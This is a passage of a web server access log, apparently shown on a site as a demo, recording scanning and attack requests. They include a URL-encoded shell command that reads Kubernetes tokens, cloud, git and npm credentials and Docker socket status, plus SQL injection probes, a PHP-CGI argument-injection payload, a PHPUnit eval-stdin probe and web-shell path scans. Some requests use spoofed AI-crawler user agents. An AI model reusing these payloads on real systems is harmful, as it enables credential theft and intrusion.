2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 100479 "-" "TLM-Audit-Scanner/1.0"
34.125.219.56 - - [02/Aug/2026:08:32:04 +0200] "GET /?id=1' HTTP/1.1" 200 107131 "-" "Mozilla/5.0 (compatible; Claude-Web/1.0; +https://www.anthropic.com)"
34.125.219.56 - - [02/Aug/2026:08:32:06 +0200] "GET /index.php?id=1' HTTP/1.1" 200 107163 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"
34.125.219.56 - - [02/Aug/2026:08:32:08 +0200] "GET /api/v0/run_sql?id=probe&sql=SELECT+1 HTTP/1.1" 200 107170 "-" "anthropic-ai"
34.125.219.56 - - [02/Aug/2026:08:32:17 +0200] "POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 200 107151 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)"
34.125.219.56 - - [02/Aug/2026:08:32:21 +0200] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 107219 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"
34.125.219.56 - - [02/Aug/2026:08:32:24 +0200] "POST / HTTP/1.1" 200 107261 "-" "Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com)"
34.125.219.56 - - [02/Aug/2026:08:32:30 +0200] "POST /_next HTTP/1.1" 200 107243 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"
216.73.217.64 - - [02/Aug/2026:08:40:13 +0200] "GET /robots.txt HTTP/1.1" 200 107271 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
216.73.217.64 - - [02/Aug/2026:08:40:21 +0200] "GET /sitemap.xml HTTP/1.1" 200 107301 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
170.106.143.6 - - [02/Aug/2026:09:28:43 +0200] "GET / HTTP/1.1" 200 107340 "http://pafal.domain-ermittlung.de" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
51.120.79.193 - - [02/Aug/2026:10:07:38 +0200] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 200 107419 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:39 +0200] "GET /this_is_a_new_hello_world.php HTTP/1.1" 200 107445 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:39 +0200] "GET /err.php HTTP/1.1" 200 107348 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:39 +0200] "GET /img.php HTTP/1.1" 200 107259 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:39 +0200] "GET //aa.php HTTP/1.1" 200 107152 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:39 +0200] "GET //av.php HTTP/1.1" 200 107044 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:39 +0200] "GET /xa.php HTTP/1.1" 200 106957 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:39 +0200] "GET /media.php HTTP/1.1" 200 106935 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:39 +0200] "GET /images.php HTTP/1.1" 200 106861 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:39 +0200] "GET /xp.php HTTP/1.1" 200 106738 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:40 +0200] "GET /admin.php HTTP/1.1" 200 106547 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:40 +0200] "GET /222.php HTTP/1.1" 200 106476 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:40 +0200] "GET /mac.php HTTP/1.1" 200 106375 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:40 +0200] "GET /ops.php HTTP/1.1" 200 106252 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:40 +0200] "GET /8.php HTTP/1.1" 200 106141 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:40 +0200] "GET /biufile.php HTTP/1.1" 200 106028 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:40 +0200] "GET /coffexium.php HTTP/1.1" 200 105947 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:40 +0200] "GET /dex.php HTTP/1.1" 200 105877 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:40 +0200] "GET /1.php HTTP/1.1" 200 105837 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:40 +0200] "GET /coffee.php HTTP/1.1" 200 105773 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:40 +0200] "GET /classwithtostring.php?p= HTTP/1.1" 200 105693 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:40 +0200] "GET /wp-ws68.php?p= HTTP/1.1" 200 105636 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:41 +0200] "GET /mgrr.php HTTP/1.1" 200 105535 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:41 +0200] "GET /55.php?p= HTTP/1.1" 200 105455 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:41 +0200] "GET /ajax.php HTTP/1.1" 200 105339 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:41 +0200] "GET /yj09.php HTTP/1.1" 200 105251 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:41 +0200] "GET /ora.php HTTP/1.1" 200 105132 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:41 +0200] "GET /scxy.php HTTP/1.1" 200 105033 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:41 +0200] "GET /ws13.php?p= HTTP/1.1" 200 105010 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:42 +0200] "GET /btx25.php HTTP/1.1" 200 104894 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:42 +0200] "GET //xpohywjo.php HTTP/1.1" 200 104791 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:42 +0200] "GET /ecvvhlei.php HTTP/1.1" 200 104717 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:42 +0200] "GET /SDsadqwrf.php HTTP/1.1" 200 104615 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:42 +0200] "GET /ssjpxze.php HTTP/1.1" 200 104416 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:43 +0200] "GET /ors32envu.php HTTP/1.1" 200 104384 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:43 +0200] "GET /3PJcpMFsD8B.php HTTP/1.1" 200 104263 "-" ""
51.120.79.193 - - [02/Aug/2026:10:07:43 +0200] "GET /BDKR28WP.php HTTP/1.1" 200 104220 "-" ""
216.73.217.64 - - [02/Aug/2026:10:44:30 +0200] "GET /robots.txt HTTP/1.1" 200 104104 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
No access permissions to a "real" access.log are required. - Logrotation with a maximum of 100 entries. - Daily anonymization of IPv4 (last 16 bits) and IPv6 (last 80 bits) addresses.